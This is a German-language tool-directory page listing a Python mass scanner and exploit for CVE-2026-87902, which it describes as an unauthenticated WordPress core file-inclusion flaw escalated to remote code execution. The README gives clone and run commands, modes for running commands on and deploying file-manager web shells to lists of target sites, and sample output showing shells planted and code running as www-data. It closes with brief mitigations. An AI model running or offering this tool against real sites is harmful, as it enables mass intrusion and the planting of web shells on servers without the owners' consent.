Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-87902 — Python-Massenscanner und Exploit für CVE-2026-87902, eine nicht authentifizierte WordPress-Core-LFI in get_page_template(), eskaliert zu RCE über die PEAR-Gadget-Chain und eine File-Manager-Shell. | Kitploit
Tools/GitHubGitHub/hackfutsecroot/cve-2026-87902
SchwachstellenscannerPayload-GenerierungExploitationWebanwendungs-ExploitationPost-ExploitationWebsicherheitPenetrationstestsRemote-Access-Tool
GitHub
hackfutsecroot/cve-2026-87902

CVE-2026-87902

Python-Massenscanner und Exploit für CVE-2026-87902, eine nicht authentifizierte WordPress-Core-LFI in get_page_template(), eskaliert zu RCE über die PEAR-Gadget-Chain und eine File-Manager-Shell.

Repository anzeigenWebseite
3vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

🎯 CVE-2026-87902 — WordPress Core LFI → RCE



🔍 Übersicht · ⚡ Schnellstart · 🎯 Verwendung · 📊 Ausgabe · 📞 Kontakt


🔍 Übersicht

CVE-2026-87902 ist eine kritische nicht authentifizierte Local File Inclusion (LFI)-Schwachstelle im WordPress-Core, die über die PEAR-Gadget-Chain zu Remote Code Execution (RCE) führt.

Die Schwachstelle befindet sich in wp-includes/template.php:get_page_template(), das die öffentliche Query-Variable pagename (aus $_POST gelesen) verwendet, um einen Template-Namen zu konstruieren, ohne ihn durch validate_file() zu leiten. Da locate_template() lediglich file_exists() ausführt, ermöglicht ein echtes page-*-Verzeichnis innerhalb des aktiven Themes einen vollständigen Path Traversal.

🎯 Angriffskette

┌─────────────────┐    ┌──────────────────┐    ┌──────────────────┐
│  Anonymous POST │───▶│   LFI via        │───▶│  PEAR Gadget     │
│   page_id +     │    │   page-templates/│    │  config-create   │
│   pagename      │    │   ../../../      │    │  writes shell    │
└─────────────────┘    └──────────────────┘    └──────────────────┘
                                                        │
                                                        ▼
                                              ┌──────────────────┐
                                              │  💀 RCE +        │
                                              │  File Manager    │
                                              └──────────────────┘

⚠️ Betroffene Versionen

ProduktAnfälligGepatcht
WordPress Core4.7.0 → 7.1.17.1.2+
Schweregrad🔴 KRITISCH—
CVSS 4.09.8—
Authentifizierung❌ Nicht erforderlich—

⚡ Schnellstart

📦 Installation

# Clone repository
git clone https://github.com/HackfutSecRoot/CVE-2026-87902.git
cd CVE-2026-87902

# Install dependencies (stdlib only — no pip needed!)
python --version  # Requires Python 3.8+

🚀 Erster Start

# 1. Create your targets file
echo "https://target.com" > targets.txt
echo "https://another-site.org" >> targets.txt

# 2. Non-destructive check (safe)
python main.py -l targets.txt --check --threads 20

# 3. Full exploit + File Manager
python main.py -l targets.txt --rce --shell --threads 10

🎯 Verwendung

📋 Verfügbare Modi

Modus Befehl Beschreibung
🔍 Check python main.py -l targets.txt --check Nicht-destruktive LFI-Erkennung
💥 LFI python main.py -l targets.txt LFI mit OPML-Oracle bestätigen
⚡ RCE python main.py -l targets.txt --rce --command "id" Befehle über PEAR ausführen
📁 Shell python main.py -l targets.txt --rce --shell File Manager bereitstellen

🔧 Kommandozeilenoptionen

python main.py --help

  -u, --url URL          Single target URL
  -l, --list FILE        File with targets (one per line)
  --check                Non-destructive check only
  --rce                  Enable RCE escalation
  --shell                Deploy File Manager shell
  --command CMD          Command to run (default: id)
  --page-id N            Force specific page ID
  --threads N            Concurrent threads (default: 20)
  --timeout S            Per-request timeout (default: 12)
  --proxy URL            HTTP(S) proxy
  --output FILE          Full log output
  --output-vuln FILE     Vulnerable targets only
  --output-rce FILE      RCE targets only
  --no-color             Disable ANSI colors

💡 Beispiele

# Single target with RCE + File Manager
python main.py -u https://target.com --rce --shell --command "whoami"

# Mass scan with proxy (Burp Suite)
python main.py -l targets.txt --rce --proxy http://127.0.0.1:8080 --threads 5

# Custom page ID if discovery fails
python main.py -u https://target.com --page-id 2 --rce --shell

📊 Ausgabe

Nach einem erfolgreichen Lauf werden die folgenden Dateien erzeugt:

DateiInhalt
📄 results.txtVollständiges Scan-Protokoll
🎯 vulnerable.txtZiele mit bestätigter LFI
💀 rce.txtZiele mit erfolgreicher RCE
📁 shells.txtFile-Manager-URLs

🖥️ Beispiel-Konsolenausgabe

======================================================================
  CVE-2026-87902 Mass Scanner v3.0
  WordPress get_page_template() Unauthenticated LFI -> RCE
  
  GHSA-7hp8-65ch-5whp | CVSS 9.8 | CWE-22
  Affected: WordPress 4.7.0 - 7.1.1
  Payload: File Manager (auto-deploy)
======================================================================
  Mode     : EXPLOIT + FILE MANAGER
  Targets  : 50
  Threads  : 20
  Timeout  : 12.0s
  Started  : 2026-09-28 14:32:15
======================================================================

[14:32:16] [+] https://target1.com | VULNERABLE | LFI confirmed: wp-links-opml.php via page-templates/../../../../ (page_id=2, POST, depth=4)
[14:32:17] [*] https://target1.com | Starting RCE + File Manager...
[14:32:18] [+]   Gadget found: /usr/share/php/pearcmd @ depth=7
[14:32:19] [$]   File Manager deployed: https://target1.com/?page_id=2&pagename=...
[14:32:19] [$] https://target1.com | File Manager | https://target1.com/...
[14:32:20] [-] https://target2.com | NOT_VULN | Patched: 7.1.5 >= 7.1.2
[14:32:21] [!] https://target3.com | POSSIBLY | Vulnerable version (5.8.1) but OPML oracle didn't fire
[14:32:22] [!] https://target4.com | RCE | uid=33(www-data) gid=33(www-data)

======================================================================
  SCAN SUMMARY
======================================================================
  Total scanned    : 50
  Vulnerable       : 12
  RCE achieved     : 8
  File Managers    : 8
  Possibly vuln    : 5
  Not vulnerable   : 28
  Not WordPress    : 3
  Errors           : 2
  Elapsed          : 45.2s
  Rate             : 1.1 hosts/s
======================================================================

🛡️ Gegenmaßnahmen

Wenn Sie Systemadministrator sind:

  1. Aktualisieren Sie WordPress auf 7.1.2 oder höher
  2. Wenden Sie Backports für Ihren Branch an:
    • 6.8.10, 7.0.6, 7.1.2
  3. WAF-Regel: Blockieren Sie Anfragen, bei denen pagename ../ oder %2e%2e enthält
  4. Deaktivieren Sie register_argc_argv in php.ini (blockiert die PEAR-Kette)
  5. Entfernen Sie pearcmd.php, wenn PEAR nicht benötigt wird
; php.ini
register_argc_argv = Off

📞 Kontakt

🌐 Verbinde dich mit uns

Tool herunterladen